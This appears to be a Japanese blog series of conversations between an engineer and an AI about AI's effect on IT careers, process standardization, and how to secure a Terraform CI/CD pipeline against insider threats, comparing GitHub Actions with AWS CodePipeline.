【それぞれの持つオリジナリティが「強み」ではなく「規格外」として扱われる。標準化によって、同じタスクは誰がやっても同じようなクオリティになる。】

これは強烈な安売り合戦を引き起こす元でもあって頭が痛いのですが、品質の安定という意味ではむしろ好ましくもあります。今後はそうなっていくでしょうし、またそうなるべきでもあります。

工業の世界ではすでにこれが当たり前ですよね。たとえばネジ。規格によってきっちり作りが決まっています。特定のお店によって売られているネジが違っていて、ネジ穴一つのためにお店にロックインされる、なんてことは起こりません。

ネジは裏切らない──あいつら、いつでも同じサイズで、同じトルクで締まってくれる。まさに信頼の塊。でもそれ、人間にはなかなかできない芸当なんですよね。

ご指摘のとおり、オリジナリティ=武器だった時代は、標準化とAIの登場によって、「その武器、規格に合ってないから使えません」と弾かれるようになってきました。
これは創造性の否定ではなく、“再現性のない創造性”が実務から遠ざけられるようになった、ということです。

そして、標準化された世界では「誰がやっても同じ品質」に近づいていきます。ネジに限らず、工業製品すべてがその恩恵を受けてきました。たとえば、

  • USBポートの形が全部違っていたら、機器の接続なんて地獄
  • 鉄道の線路幅がメーカーごとにバラバラだったら、車両が走れない
  • ミルクティーの味が毎回店ごとに違ったら、安心して飲めない(←地味に困る)

IT業界も、AI時代に突入した今、こうした「均質性による安心・低コスト・高再現性」を求める流れに巻き込まれているわけです。

ただし、ここで起きる問題がまさにおっしゃる通り、価格競争です。
同じ品質なら、次に差別化されるのは「コスト」しかない。
「早い・安い・同じ」で勝負するのは、コンビニ弁当業界にも引けを取らない過酷さです。

でもそれでも、品質の安定=利用者にとっての福祉であるのは間違いありません。現場でバグだらけ、スタイルバラバラ、担当がいないと誰も触れないシステムよりは、誰でも直せる・誰でも読める・誰でも作れるコードの方が健全です。

その意味で、IT業界は“クラフトマンシップ”から“マスプロダクション”への移行期に入っているとも言えます。美しい手作りの一点物より、一定品質で量産できるプロセスが重視される時代。
この変化は痛みもありますが、やはり「そうなるべき」と言える部分も確かにありますね。

AIの進化の速さはすごいですからね。

これについては私もすこし痛い目をみたことがあって。

昔、AIの出力した成果物をチェックするだけの比較的初心者向けの仕事が成り立つのではないかと思ったんですよ。まだAIの成果物がそこまで信用できなかった頃です。

ところがAIの進化が早くて、その程度はツールとAIで問題なくなってしまいました。全部ご破算です。

うわあ……それはまさに「AIに仕事奪われたんじゃなくて、AIの進化に置いていかれた」パターンですね。ある意味、最もAIらしい落とし穴かもしれません。ドンマイです(ドンマイで済む話じゃない)。

たしかに、AI黎明期には「AIが出力した内容を人がチェックする」という役割は一種の“安全弁”として成立していました。人間が担保することで、精度の低さをカバーしていたんですね。

ところが現在は、

  • 出力精度が圧倒的に向上(たとえばコーディング、翻訳、画像認識など)
  • 自動レビューやLint、静的解析とAIの統合が進化
  • GPT系に限らず、特化型AIが実務に即したチェックもこなせるように

……となっていて、「人間のチェック」がボトルネック化する場面が増えてきています。まさにご体験のように、「初心者でもできる仕事」から真っ先に自動化されていく構造が露骨に出てしまったわけです。

これは皮肉でも何でもなく、AI活用を前提に考えるなら「AIに何をさせるか」よりも、「人がどこで価値を出すか」の視点が本当に重要になってきます。
チェック業務であっても、単に間違い探しをするだけではなく、

  • なぜその間違いが起きたのか構造を分析する
  • プロンプトや前提条件を改善して再現性を高める
  • AIの出力傾向を学習してリスクを事前に回避する

といったレベルの「設計や品質戦略」が求められるようになっています。

つまり、「AIに任せる仕事」と「人がやるべき仕事」の境界が、毎月のように前進している状況なんですね。今日できることが、明日には陳腐化するというスピード感。

そうなのです。初心者がいきなり任せられて満足に応じられるレベルのものではありません。

「では見習いとして」……も厳しいのではないでしょうか。なにしろ取引コストやコミュニケーションコスト以下のコストでAIが作ってしまいますからね。

「じゃあAIに弟子入りします!」って言っても、AIは暖簾(のれん)も出してないし、修行もさせてくれませんからね。まったく融通の利かない名人です。

おっしゃる通り、「見習いとしてスキルを積ませる」という従来の育成モデルが、AIの圧倒的コストパフォーマンスによって機能しにくくなっている現実はかなり深刻です。

特に以下のような状況では、人間の見習いはAIに勝てません。

  • 簡易な問い合わせや仕様に対して、一発で成果物を出力できるAI
  • 作業時間ゼロ、24時間稼働でエラーにも文句を言わないAI
  • コードスタイルもドキュメント構造も標準化済みで、再利用可能なテンプレも豊富

こうなると、「コストゼロに近いAI vs 成長途中で手がかかる人間」という図式になります。たとえ人間の見習いが最終的に戦力になるとしても、そこまでのコストを誰が負担するのかという問題が出てくるわけです。企業の立場からすれば、投資対象として不確実すぎるわけですね。

この構造は教育や労働の在り方にも影響を及ぼしています。見習いが“仕事を通じて育つ”というモデルが崩れると、「まず十分に育ってから仕事に就け」となってしまい、ますます入り口が狭くなる……という悪循環です。

ただし、これは人間の存在価値が消えるという意味ではありません。むしろ、「見習い期間=人間にしかできない領域に早く触れさせる」方向に転換すべきという話なのかもしれません。AIでは対応できない、

  • 曖昧な要件の整理
  • ビジネスロジックの背景理解
  • 現場の空気感の読み取り

といった、人間らしい感性や文脈理解力を鍛えることに重点を置いた「新しい見習い像」が求められているのだと思います。

見習いの時代が終わったのではなく、“新しい形の見習い”を創らないといけない時代が来た、と言った方が正確かもしれませんね。AI時代の修行は、木刀じゃなくてプロンプトで始まるのかもしれません。

それもどうでしょうか。

曖昧な要件の整理 ビジネスロジックの背景理解 現場の空気感の読み取り

すでに一人前でしょう、これができるなら。

た、確かに!それができるならもう「見習い」じゃなくて「ベテラン戦士」ですね。見習いを名乗った瞬間、職場の空気がざわつきそうです。「おい、あいつ“見習い”って言ってるぞ……!」みたいな。

おっしゃる通りです。曖昧な要件を整理したり、背景を理解して動けるような力は、すでに“戦力化された人材”に求められる能力です。そこを見習いに求めるのは、「初級者マーク付けたF1カー」を期待するようなもので、明らかに無理があります。

問題の本質は、「AIの登場で、“簡単なことから始めて覚える”という成長モデルが成立しにくくなった」という点です。かつては、下記のようなステップアップが可能でした。

1)コピペや軽微な修正を通して構文に慣れる
2)小規模な機能の実装を通して設計の基本を学ぶ
3)コードレビューを通して実務感覚を掴む
4)徐々に要件整理や仕様策定に関与する

ところが今は、1〜2あたりの仕事がまるごとAIに吸収されてしまったため、初学者が“練習できる実務”自体が消えつつあるのです。
しかも、3〜4の領域になると、先ほどのように“すでにできる人”じゃないと務まらない。

これでは「初心者の踏み台」が消滅してしまいます。つまり今求められているのは、“仕事ではなく、練習として安全に失敗できる環境”の整備なのかもしれません。

たとえば、

  • 学習用の仮想プロジェクト
  • AIとの対話による模擬レビュー訓練
  • サンドボックス環境での疑似実装体験

こうした場を通じて、「いきなりAIと肩を並べて勝負させられる」前に、準備運動できる仕組みが必要です。ベテラン基準で“見習い”を語ると、それだけで門前払いになってしまいます。

つまり、“見習いに必要な力”の再定義こそが、今いちばん問われているのかもしれませんね。
「AI時代の見習いとは何か?」──これ、真剣に考える価値があるテーマだと思います。

AIの台頭によってIT業界は大きな影響を受けると思っています。

例えば初心者を大量に雇ってイージーかつ労働集約的な仕事を受ける方式は、大きな方向転換を迫られるのではないかと思うのです。なにしろそのレベルの業務はAIがこなせてしまいますからね。

「新人エンジニア? そんなのAIでええやん!」って言われたら、全国の新卒が泣いちゃいますよ。でも、実際ちょっと泣きそうな話ではあります。

おっしゃる通り、AIの進化、とくに生成AIやRPA(ロボティック・プロセス・オートメーション)の発展は、IT業界の業務構造に大きな影響を与えています。かつては「とりあえず人を大量に入れて、ルーチンワークをさせておこう」的なモデルが成立していましたが、今は「AIでできる作業に人を使うのはコスパが悪い」と見なされる傾向が強まっています。

特に、以下のような作業はすでにAIの得意分野に入っています。

  • テストケースの自動生成や実行
  • ドキュメントの要約や翻訳
  • 単純なコード修正やリファクタリング

こうした背景から、「経験がなくてもできる簡単な仕事」=「AIに代替される可能性が高い仕事」となりがちです。そのため、企業側としても「育成前提で安価に人を入れる」モデルから、「少数精鋭でAIと協働できる人材を育てる」方向への転換を迫られているわけです。

ただし注意点もあります。AIは万能ではないので、たとえば曖昧な要件定義を解釈したり、クライアントとのコミュニケーションを通じて問題点を抽出したりするような、人間ならではの判断力や対話力が必要な場面は依然として多く存在します。つまり、「AIで全部まかなえるわけじゃない」という現実もちゃんと見ておく必要があります。

結局、単純作業だけを担う新人エンジニアの需要は減るかもしれませんが、「AIを使いこなせる新人」には新たなチャンスが生まれるかもしれませんね。むしろAIを敵にするより、味方につけた方が生き残れる時代です。

AIを使いこなせる人は当面必要とされるでしょうね。

AIの活躍する分野は今後ますます広がると思います。私も今推しているのがAI*プロセス標準化*IaCです。「あまりスキルの求められない仕事」をAIに置き換えようとしている人間の一人かもしれません。

なるほど、「AIでプロセス標準化してIaCまでやっちゃおうぜ!」という流れですね。もはや「人手いらずの魔法工場」みたいになりそうです。某ジブリのロボット兵もビックリの自動化です。

ご指摘のように、AI × プロセス標準化 × IaC(Infrastructure as Code)という組み合わせは、現代のIT運用やシステム開発における“最適解”のひとつとして注目されています。これは単に作業を効率化するだけでなく、「属人化排除」「再現性の確保」「ミスの削減」「監査対応」など、組織としての健全性も高めてくれる一石何鳥もの手法です。

AIは、以下のようなフェーズで大活躍できます。

  • 業務プロセスの可視化と改善提案:大量のログを解析して非効率な箇所を洗い出し、改善フローまで提案してくれるケースもあります。
  • IaCコードの自動生成:TerraformやAnsibleのテンプレートを、要件から自動生成することで、スピードと精度を両立可能です。
  • 異常検知や運用の自動化:AIでインフラ監視を強化し、人間が対応すべきかどうかの判断を事前にフィルタリングしてくれます。

こうした一連の流れによって、「人が手でやる必要がある部分」はどんどん減っていく方向です。その分、人間には「設計の意図を正しく伝える」「AIが出した結果を判断して調整する」といった役割が求められてきます。

つまり、AIを使いこなす人=AIと協業できるプロセス設計者、という位置づけになるわけです。これは単なるツール使いというより、かなり高度な知的生産活動と言えますね。

そうなのです。コーディングスタイルなどのこまごましたルールを整えて(これもプロセス標準化の一環です)、それをAIに読ませつつコードを生成させれば、今でもかなりクオリティの高いコードが出てきます。

まだ人間が監督と仕上げをしないといけませんけどね。時折とんでもないコードがでてきますから。

ですが、それも解決する日は遠くないと思います。

AI「はい!完璧なコード出しました!」
人間「なんで全部グローバル変数なんだよぉぉぉ……」
──そう、油断したら地雷コード爆誕。これはもうAIあるあるですね。

おっしゃる通り、「プロセス標準化 → AIに読ませる → コード生成」の流れは、現代の開発フローにおいて非常に実用的です。
たとえば以下のようなポイントで、その効果はすでに実証されつつあります。

  • 命名規則や構文ルール(例:camelCaseかsnake_caseか、インデントはタブかスペースかなど)
  • プロジェクト構成やファイル分割の方針
  • エラーハンドリングやログ出力の統一方針
  • 使用すべきライブラリや設計パターンのガイドライン

これらを文章化し、プロンプトとしてAIに入力することで、驚くほど“社内っぽい”コードをAIが吐き出してくれるようになります。しかも高速です。

ただしご指摘の通り、まだ人間によるレビューや補正は不可欠です。AIは推論ベースなので、文脈を少しでも誤解すると「動くけど読めないコード」「要件満たしてるようで満たしてないコード」などを出してくることがあります。

とはいえ、これも時間の問題かもしれません。以下のような技術進化が進めば、AIが「暴走せずに賢くコードを書く」日はかなり近いと考えられます。

  • ドメイン知識を深く反映した専用モデルの登場
  • Lintや静的解析ツールとの連携によるフィードバック学習
  • 自然言語とコードのマルチモーダル理解の高度化

「AIがとんでもコードを書く」現象も、「昔はAIがよくやらかしてたよね〜」と笑い話になる未来が見えてきていますね。

TerraformのCI/CDをどれほど技術的に守ったところで、チームの誠実さがまったくなかったら、結局守り切れないのですよね。

「たった一人のメンバーが悪意を持っただけで何もかも破壊される」状態がセキュリティゼロだとしまして、「一人のメンバーが悪意を持ってもほかのメンバーが破壊活動を止められる」仕組みを作るのはまだなんとかなります。

でも「二人のメンバーが手を組んで、一人が作業者、もう一人がレビュアーになっても破壊活動を止められる」仕組みを作るのは相当厳しいです。

そして「管理者とメンバーが手を組んでも破壊活動を止められる」仕組みが必要となると、ほぼお手上げです。

おっしゃる通り、どれだけCI/CDのパイプラインを厳密に設計しても、組織の誠実性が欠けていたらセキュリティは保てません。技術は「手段」であって「保証」ではありません。

各段階の難易度と対策の現実性について

「たった一人の悪意」で壊れる

これはまさにセキュリティゼロですね。特権のあるユーザーが自由にコードを変更・反映できるような体制では、内部からの破壊に対して無防備です。対策としては、すべての変更に対して必ずレビューを通すワークフローの導入や、最小権限の原則を徹底することが基本です。

「一人が悪意を持っても、他のメンバーが止められる」

ここまではGitHubのブランチ保護やTerraformのPlan出力のレビュー義務付けなど、CI/CDにおける標準的な設定で比較的実現可能です。Terraform CloudやAtlantisでの自動適用制限、PRレビュー必須設定が功を奏します。

「二人が結託する」

これはグッと難易度が上がります。レビューが形骸化し、Planが通ってApplyもされるような状況ですね。ここで効くのは監査ログの記録と定期的なレビュー、そして権限のローテーションや監査役割の分離です。技術的にはSOPSやVaultなどを用いた秘匿情報の二重暗号化も候補になります。

「管理者とメンバーが手を組む」

いわゆる組織の崩壊フェーズです。この状態を完全に防ぐのは非常に困難で、結局のところ組織ガバナンスと透明性、そして文化に依存します。技術での対応は一部可能でも、根本解決にはなりません。場合によっては外部監査や第三者管理の導入が必要です。

結論として、CI/CDのセキュリティは「技術」×「運用」×「人間性」の掛け算であり、どれか一つがゼロなら全体もゼロになってしまいます。Terraform CI/CDは完璧でも、チームの信頼性がゼロならそれは地雷原にガラスの靴で突っ込むようなものです。

一応、管理者までグルになってしまった場合でも、証跡を守って牽制するだけならなんとかなります。CloudTrailのログをS3のコンプライアンスモードで守ればいいわけなので。

ですが牽制にすぎません。ばれてもかまわないと覚悟を決められたら技術的に破壊活動を防ぐことは難しいです。

「覚悟を決めた管理者」はもはやラスボスです。それ、技術で止める相手じゃなくて、人事か法務の出番です。

おっしゃる通り、CloudTrailのログをS3バケットのコンプライアンスモード(WORM: Write Once Read Many)で保管すれば、改ざん不能な証跡は確保できます。これはAWSのベストプラクティスでもあり、ガバナンスと透明性の担保として非常に有効です。たとえ権限を持つ管理者であっても、保存期間中の削除や改ざんができないというのは大きな牽制になります。

ただし、ここで終わらないのが現実

「ばれても構わない」「クビになる覚悟がある」「損害賠償請求も受け入れる」……というレベルまで行ってしまうと、たしかに防衛は困難です。技術的な壁は突破される可能性があります。ログが残っても、壊される方が早いなら意味がない場合もあります。

これはいわゆる「インサイダー脅威(Insider Threat)」の最悪パターンで、完全に止めるのは難しく、被害を最小限にする設計が重要になります。たとえば:

  • 変更可能な範囲の細分化(モノリスではなくモジュールごとに責任分離)
  • 適用環境の分割(本番・検証・開発でIAMロール分離)
  • Immutable Infrastructure戦略(破壊されても再構築できる)
  • 実害が出る前にアラートが上がる監視体制(GuardDutyやConfigルール)

「最悪を想定して耐える構造を作っておく」ことが、唯一の技術的な道と言えます。

最終的には「信頼される組織か」「透明性と抑止力が機能しているか」が試されるところですね。技術の力でできるのは、裏切りを“高くつく”ものにすることまでです。そこから先は、もはや組織のカルマの領域です。

同じように、TerraformのCI/CDをGitHub Actionsで行うことが絶対に間違いと断じれるわけではないと思います。

今回、私はCodePipelineでTerraform用のCI/CDを組んでいるわけですが、これも場合によってはやりすぎの可能性があります。例えば技術者と営業が二人で始めたサービスで、GithubもAWSも技術者が一人で面倒見ている状況なら、速度重視でGHAを使って組み、なによりまずビジネスを軌道に乗せるほうを優先したほうがいいかもしれません。

いやもう、それまさに「現場を知らずに正しさを語ることの虚しさ」選手権・優勝コメントですね。はい、拍手。

TerraformのCI/CDをGitHub Actions(GHA)で構成するのが常に悪手か?と問われれば、答えは明確に「NO」です。

GHA=セキュリティ的に甘い、は単純化しすぎ

たしかに、GHAは以下のような点でよく懸念されます:

  • 実行環境がGitHubのマネージドランナーである
  • セキュリティ設定をきちんとしないと、第三者によるリポジトリ操作が危険
  • AWS認証情報の取り扱いに注意が必要

でも、これらは使い方次第で十分に制御可能ですし、逆にCodePipelineを使っていてもIAMロール設計や監視が甘ければ、同じくらいのリスクはあります。

「技術者ひとり」の現場なら、GHAが最適解なことも多い

  • GitHubで完結しているのでセットアップが早い
  • Terraform Plan/Applyのフローもシンプルに構築できる
  • スピード感が命の初期フェーズでは、立ち上げの手間が極小

つまり、「速さ」「手軽さ」「メンテコストの低さ」という点で、GHAは非常に合理的な選択になりえます。特に、サービス立ち上げ直後で「インフラより売上」なフェーズでは、フルマネージドなGHAでまず動かすというのは立派な戦略です。

CodePipelineにも「過剰」になり得る局面がある

一方で、CodePipelineやCodeBuildはAWSネイティブで信頼性も高く、本番運用には安心な選択肢ですが:

  • 設定が煩雑で学習コストが高い
  • トラブル時のログやリソースの分散管理が難しい
  • 小規模チームにはオーバーヘッドになりがち

つまり、今の状況が「本当にCodePipelineで得られる強みを活かせる場面かどうか」を定期的に見直すことが大事なんですよね。

結論

Terraform CI/CDでGHAがダメ、CodePipelineが正義という単純な二項対立ではありません。むしろ重要なのは、「自分たちのフェーズと制約に合った選択をしているか」です。

おっしゃるように、「エンジニアひとりで営業もリリースも回す」ようなフェーズなら、まずはビジネスを前に進める設計の方が圧倒的に価値があります。その中で必要最低限のセキュリティだけ押さえつつ、成熟に合わせて仕組みを進化させるのが、実は一番セキュアだったりします。

最強より最適。この一言に尽きます。

セキュリティ事故を起こしても事業は大ダメージなのですが、競争に敗れてもやはり大ダメージですからね。

リスクの性格が違いますが、「見たいところだけ見ていればいいわけではない」はどちらの観点を重視する場合にも言えます。

ほんとそれです。「セキュリティだけ見ていれば安心」も、「スピードだけ見ていれば勝てる」も、どっちも片目つぶって運転してるようなもんです。どちらのリスクも、“種類が違うだけで、どちらも致命傷になり得る”という点では同格の脅威なんですよね。

セキュリティ事故 vs. 競争敗北

リスク被害の方向性回復可能性
セキュリティ事故信用の毀損・法的責任・顧客離脱回復に時間とコストと運が必要
競争敗北マーケットシェアの喪失・機会損失巻き返しがほぼ不可能なケースも

どっちも避けたい。でも、一方を避けるためにもう一方を完全に無視してしまうと、それ自体がリスクになる。セキュリティに気を取られてスピードを失えば、競争に負けて誰にも使われない。逆にスピードだけを追って事故れば、信頼を失って市場から消える。

だからこそ必要なのが「全体視点」

  • 「今、何にもっとも投資すべきか」
  • 「どのリスクは受け入れて、どのリスクは絶対に潰すべきか」
  • 「リスクを減らす代わりに失うものは何か」

こういった問いを、セキュリティ担当だけでなく、開発・経営・事業全体で一緒に考える文化が重要です。これはまさに、「セキュリティも競争力も、片方だけじゃ意味がない」という成熟したチームの姿勢そのものですね。

まとめ

セキュリティと競争力は対立する概念ではなく、両輪です。どちらかだけに目を向けていたら、どちらのリスクにも飲まれます。「見たいところだけ見ていればいいわけではない」というのは、まさに両立を目指すインフラ設計・運用の核心だと思います。

正しさだけでも、速さだけでも、生き残れない。だからこそ、技術者の判断力が光るんですよね。

実質的に効果が薄い技術的な防止策を施すのも考え物です。

セキュリティ施策はたいていなにか(コストや手間やUXなど)とのバーターにあるので、とにかくやれるだけ全部やればいいとは言い切れません。対応できるリスクと、そのための犠牲とのバランスを考える必要があります

その通りすぎて、セキュリティ担当者の心の叫びが詰まった一句を詠んでしまいそうです。

セキュリティ やればやるほど 使われず

…とまあ冗談はさておき、本質的なご指摘ですね。セキュリティ施策って、単に「やる・やらない」ではなくて、「何を守って、何を捨てるか」の取捨選択の話なんですよね。

技術的防止策の“やりすぎ”問題

  • UXを犠牲にした過剰な認証ステップ → 利便性を失い、結局現場が裏技で回避
  • 複雑すぎる権限管理 → 誰も正確に把握できず、ブラックボックス化
  • 破壊防止のための多段承認 → 対応が遅れて、本当に必要な時に使えない

このように、“セキュリティのため”という名目でシステムやチームの運用効率を犠牲にしすぎると、逆にリスクが増えるという本末転倒も起こり得ます。

必要なのは「リスクベースドアプローチ」

  • 守るべき資産の重要度
  • 発生確率と影響度の評価
  • それに対して投入するコストと負荷

これらのバランスを見て、「ここは技術的にガチガチに守る」「ここはログとアラートで十分」「ここは人に任せる」といった、メリハリのある対策が必要になります。

たとえば、S3の機密バケットにはコンプライアンスモード+暗号化+操作制限を徹底する。でも開発用の一時的なEC2インスタンスにはそこまでのコストはかけない、という判断が妥当なこともあります。

そして何より重要なのが「納得感」

現場が「なぜこれをやるのか」を理解し、「これはやる価値がある」と思えれば、セキュリティは機能します。逆に、ただの押し付けであれば、運用をかいくぐる文化が育つだけです。

セキュリティって、やっぱり技術より前に設計と文化の話なんですよね。そう考えると、全施策が「組織の成熟度との相性」で決まってくるという点でも、実に奥が深い分野です。

TerraformのCI/CDの話でも「必要な施策は状況によりけり」とやはり言えます。

GitHub ActionsだろうとCodePipelineだろうと、AWSのほぼフル権限に近い強大な権限を持たせざるを得ないんです。でも、だからと言って、パイプラインを完全に隔離して権限も分離して……と常にやるべきかというと、必ずしもそうとは言えません。

隔離されたパイプラインとそれ以外のリソース群を両方とも同じチームが面倒みているような状態なら(小規模の会社だとむしろ普通だと思います)、単に手間が増えただけで大して意味がない、ということになってしまいます。

出たな、「分離原則を信じすぎた者の末路」!……って、Terraform CI/CDの話でしたね。はい、すごくわかります。

おっしゃる通り、Terraformでの自動化を進める中で、CI/CDパイプライン(GitHub ActionsでもCodePipelineでも)はどうしても管理対象のリソースに対して広範な権限を持つことになります。そうじゃないとApplyできませんからね。

でも、その権限の持たせ方って、「一概にこれが正解!」とは言えない

たとえば、「CI/CDに分離したIAMロールを持たせ、他のサービスリソースとアクセス制限を分けましょう!」ってよく言われます。確かにセキュリティ教科書的には正解です。ただし、実際の現場が:

  • 小規模なチームで同じメンバーが全部見る
  • 分離したことでトラブル時の調査や再設定が煩雑になる
  • そもそもリスクの発生頻度が低い

という状況だと、これはただのオーバーエンジニアリングになります。施策のコスト(構築・運用・トラブル対応)が、実際に回避したいリスクの大きさを上回ってしまうんです。

セキュリティとオペレーションの天秤

TerraformのCI/CDにおける権限設計は、結局こういうバランスです:

目的施策トレードオフ
セキュリティ強化パイプラインを別アカウントで運用セットアップと運用が複雑になる
最小権限リソースごとに細かく権限制限Applyエラーや管理の煩雑化
迅速な開発フル権限で簡易に回すインシデント時の影響が大きい

このあたり、理想を追い求めるほど現実とのギャップが広がるので、「理想:安全、現実:維持できるギリギリライン」を探るのが実践的な落とし所です。

結論として

セキュリティの原則を全て満たすのは理想。 でも、「今の組織・人・時間・予算で保てるバランス」こそが現実的な最適解です。

TerraformのCI/CDに限らず、こうした技術選定と運用方針の調整こそが、インフラエンジニアの“腕の見せどころ”なのかもしれません。ガチガチに固めたパイプラインで自分が運用不能になって詰む……なんて話、どこかで聞いたことある気がします。

そうなのです。業態による影響もあると思います。金融や医療のような規制業界、つまり事故の影響が極めて大きな業態であれば、それだけセキュリティ重視にせねばならない場面が多いと思います。

一方でゲームのような業態なら、限度があるものの開発速度重視に振れる場面が多いでしょう。

まさにその通りで、「金融」と「ゲーム」が同じセキュリティポリシーで動いていたら、それはもうRPGにセーブ機能がないレベルの無茶です。やる気は認めるけど、それって本当に求められてるの?という話になります。

業態によるセキュリティ設計の違い

規制業界(金融・医療・公共系など)

  • 事故の影響が致命的
    • 顧客資産や人命に関わるため、一度のミスで信頼崩壊+法的責任
  • 求められる要件が明文化されている
    • PCI DSS、HIPAA、FISCなどに準拠する必要あり
  • 開発より監査が優先されることもある
    • 監査証跡が整っていないとそもそもリリース不可

このような業界では、TerraformのCI/CDでも「変更承認ワークフロー」や「S3コンプライアンスモード」、「本番環境への多段階承認」がほぼ義務化されます。

「管理者一人が本気で悪意を持ってしまったら」

この場合も、多くの現場では、彼の管理下にあるリソースを守り切ることは相当難しいでしょう。管理者の業務遂行上、削除も正当な業務のうちの一つです。

管理者が一人悪意を持ったらおしまい、という設計は本来よくないのですが、これに対応するのはなかなか難しいです。

「管理者が悪意を持ったら終わり」って、サスペンスドラマの最終回みたいな展開ですが、インフラ運用だとこれ、けっこう“日常”のリスクだったりしますね。

おっしゃる通り、管理者という立場は削除・変更が正当化されやすい業務権限を持っているため、通常の運用の一部として「壊す」ことが可能です。つまり、「災害対応でリソースを削除しました」と言われれば、即座に不正とは判断しづらいのが実情です。

なぜ「管理者一人で完結する設計」が問題なのか

  • 単独でリソース変更・削除できる=単独で破壊可能
  • 証跡があっても、後追いしかできない
  • 監視していても、「故意かミスか」の判断は難しい

特にIaC(Infrastructure as Code)では、Terraformを通じて削除するのも、AWSマネジメントコンソールから手動で消すのも、結果は同じ破壊です。

難しいけど、やらなきゃいけない「対策」の方向性

  1. 職務分離(Separation of Duties)

    • 管理者権限を単独に持たせず、少なくとも2人の承認を必要とする構成
    • 例:CloudFormationやTerraformでのApplyは他の監査役の承認がないと不可
  2. Break Glassアカウントの導入

    • 緊急用の特権アカウントを用意し、普段はアクセス不能かつ利用時にアラート通知
    • 悪用すれば即バレるので抑止力になる
  3. ジャストインタイム権限昇格(JIT)

    • 通常は一般ユーザーとして操作、必要なときだけ時間制限付きで昇格
    • 昇格時は理由を記録・通知
  4. 機密度で分離した管理権限

    • すべてのインフラを一人の管理下に置かない
    • 本番環境だけは別アカウント・別チームで操作するなど

ただし限界はある

「管理者が本気で破壊活動をしたい」と決めた時点で、技術的に完封するのはほぼ不可能です。防げるのは「うっかり」や「ちょっとした不正」まで。だからこそ、攻撃を“事前に止める”のではなく、“起こった後に対処できるようにする”ことが、現実的な落としどころになります。

つまり、最後の砦は信頼できる人間を“管理者にしない”という人事設計だったりします。ゼロトラストは技術じゃなくて、文化と制度の両方で成り立つものなんですね。

そうですね。

できて監視・証跡の保全による牽制と、バックアップからの復旧くらいまでが限界ではないでしょうか。むしろ現実にはそれができるだけでも相当気の利いた会社と思えます。

ほんとそうです、「そこまでやってたら十分優秀!」って、セキュリティ担当者みんなで拍手してあげたくなるレベルですね。

正直なところ、監視・証跡・バックアップ体制がしっかり整っているだけでも、世の中の平均を超えている現場はかなり多いです。特に中小企業やスタートアップでは、「Terraformで一発Apply!消えた!やばい!」みたいな事故が、未だに現実にあるあるネタです。

管理者リスクにおける“現実的な最前線”

  • 証跡の改ざん防止(例:CloudTrail+S3バージョニング+コンプライアンスモード)
  • 操作の可視化(例:CloudWatchやSIEM連携で異常検知)
  • 定期的なバックアップの取得とリストアの訓練
  • 重要リソースの操作制限(削除保護、有効なタグ制御、SCPでの制限など)

これらがちゃんとできていれば、「管理者がうっかりやらかした」「うっかりのふりして壊した」くらいまでは会社として立ち直れる設計になっていると言えます。

ただし、完全に防げないリスク、たとえば:

  • 削除保護がかかっていないリソースの即時削除
  • 短時間での一斉破壊(VPC削除→依存リソース全滅)
  • 機密データの意図的な持ち出し

この辺になると、「技術で防ぐ」のではなく、“バレたら地獄を見る”ような制度設計+文化的な抑止力が主な武器になります。

たしかに「そこまでできる会社」って、もはやセキュリティ先進企業といっても差し支えないですね。世の中の多くの現場はまだ、「証跡って何?」みたいなレベルも多いですから。結局、技術だけじゃなくてその技術を“本気で回そう”とする組織の誠実さが、一番の防壁かもしれません。

さて今回の電脳会議はお題は「Terraform用のCI/CD」です。

今個人的にAWSの構築サンプルをいくつか用意しているのですが、今回のサンプルを作るにあたって、Github Actions(以下GHAと略す)とAWS CodePipelineどちらにするかすごく迷ったのです。ですが結局、今回はCodePipelineにしておくことにしました。理由は主に二点です。

  1. 危険な権限はAWSに集めて管理したい
  2. AWSと同等以上のセキュリティをGithub Actionsでも設計・実装して維持し続けるのは大変

UXはGHAのほうが好みなのですが、セキュリティを重視したのです。

GHAのUXに未練タラタラ…まるで高級ベッドを諦めて畳に戻るみたいな気分ですね。でも、セキュリティ重視ならその判断、筋が通ってます!

ご指摘の通り、TerraformのCI/CDにおいて「どこで危険な権限を持たせるか」は設計上の重要ポイントです。以下、それぞれの選択肢についての観点と、CodePipelineを選んだ理由の妥当性を少し掘り下げてみます。

CodePipelineを選んだ理由の整理

  1. AWS内に権限を閉じ込められる

    • IAMロール、AssumeRole、KMSなどの制御がCodePipeline内で一元管理できます。
    • 秘匿情報(たとえばTerraformのバックエンドS3やState Lock用のDynamoDB)もAWSの中で閉じられるので、外部への情報流出リスクを減らせます。
  2. GHAでのセキュリティ維持コストが高い

    • OIDC連携やブランチ制限、Secretsの最小化などを工夫すれば確かに安全にはできます。
    • ただ、その設計・運用をずっと維持するのはなかなか骨が折れます。チームが大きくないなら、その手間をCodePipelineに丸投げできるのは利点です。

少しだけ補足

  • GHAを使った構成でもCodePipeline同様にIAMロールを使ったセキュアなアクセスは可能です。
  • ただし、OIDC設定のミスやSecretsの扱い方次第でセキュリティ事故が起きやすいです。

総じて、「セキュリティ優先」かつ「権限管理の中央集権化」を志向するなら、CodePipelineという選択は合理的です。Terraformを扱うならなおさらですね。畳の上でも安心してデプロイできます。

そう、GHAも不可能ではないと思います。OIDCの設定を厳しく行って、コードの管理もガッチリしていれば、おそらく問題が起こることはそうないでしょう。

ただ、一つセキュリティ上の穴が開いただけでアウトなのです。そんな神経を使うことをしてまでAWSの(ほぼ)フル権限を渡してGHAを使うよりは、CodePipelineでAWSの権限はまとめた方が構築・運用が安定するかなと。

セキュリティ設計の話になると一気に“刀鍛冶”みたいなテンションになりますね。「折れない、曲がらない、切れ味鋭いCI/CDパイプラインをくれ!」という声が聞こえてきそうです。

おっしゃる通り、GHAでも強固なOIDC設定とコード管理の徹底ができていれば、セキュリティ事故の可能性はかなり低く抑えられます。ただ、CI/CDは「少しのミスが全てをひっくり返す」領域ですので、「一つ穴が開いただけでアウト」という表現、非常に本質を突いています。

GHAの課題とリスク

  • OIDC設定のミス
    • 条件を絞らずに権限を付与してしまうと、他のリポジトリやブランチからも使えてしまうケースがあります。
  • リポジトリのコード改変
    • 権限を扱うコードがPull Requestで改変されたとき、レビュープロセスや保護ブランチの設定が甘いと、即デプロイの道が開かれる可能性も。

CodePipelineのメリット

  • IAM権限の範囲がAWSに閉じている
    • 信頼されたエンティティとして他のAWSサービスを使う分には、IAMポリシーで制御が完結します。
  • Secrets ManagerやKMS連携がスムーズ
    • コマンド一つで暗号化・復号ができるので、外部との秘密情報の受け渡しが減ります。
  • 実行ログ・履歴が統一的に管理できる
    • CloudWatch LogsやEventBridgeと統合して監査しやすいのもポイントです。

